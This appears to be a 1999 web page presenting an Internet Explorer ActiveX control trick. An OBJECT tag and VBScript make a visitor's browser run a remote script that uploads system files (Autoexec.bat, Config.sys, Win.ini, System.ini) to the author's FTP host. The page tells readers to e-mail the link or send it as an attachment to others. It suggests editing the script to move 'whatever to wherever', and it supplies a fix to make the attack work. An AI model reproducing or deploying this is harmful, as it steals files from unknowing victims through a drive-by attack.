Upload System Files to Default Website -- Method 2 -- Script File
Bug Alert
<OBJECT>
<para name="FileList" value="scripts/SysFiles.lst">
</OBJECT>
This piece of code in the <OBJECT> Tag tells the Control to Download and execute a Script (SysFiles.lst) from the library at the default Website. The script contains instructions to upload the System Files to the default Website.
The Script file (ftp.tripod.com./iamatiyam/scripts/SysFiles.lst) tells the Control to Upload Autoexec.bat, Config.sys, Win.ini, and System.ini to ftp.tripod.com./iamatiyam/system/ and change all File Extenders to .TXT so they may be viewed in IE. To confirm the Upload, follow these links when the transfer is complete: -

Autoexec.bat -- Config.sys -- Win.ini -- System.ini

 

I've posted a page which should perform this function on any computer with the right stuff (ie, IE (5, 4, or 3 ( 95, 98, or NT))). You should be able to e-Mail this link (http://www3.bc.sympatico.ca/TheLab/EZftp10/sysfiles.htm) to somebody and follow the above 4 links when you receive confirmation that the Control worked.
Or this
mirror link (http://members.tripod.com/iamatiyam/sysfiles.htm) in case the above fails (it invokes nag-boxes and will be tagged by the banner-robot by now.)

You could also save one of these pages as a template and edit it in Front Page Express. Then you could send it as an attatchment. Or you could post it to another Website and send the link.

And, if you can follow some of the other clues in these documents, you could edit SysFiles.lst and transfer whatever to wherever. And play toons too.

*As of 12 May 1999, the above has not been tested outside of the development environment. I'm about to do that any moment now. --- By posting the link and attachment to you --- for the very first pre-alpha virgin pilot crash-test-dummy experimental trial run.

 

*Ooops- there's a patch at the bottom of this HTM code
to compensate for the under-utilization of the FileList Property.
  • value=scripts/SysFiles.lst doesn't work in this version.
FileList must be set to value=SysFiles.lst -- like this
  • <OBJECT>
    <para name="FileList" value="SysFiles.lst">
    </OBJECT>

And the Host Directory must be changed with VBScript. -- like this:

  • <SCRIPT Language=VBScript>
  • call EZsetup.hostparms(,,,"scripts/")
  • </SCRIPT>
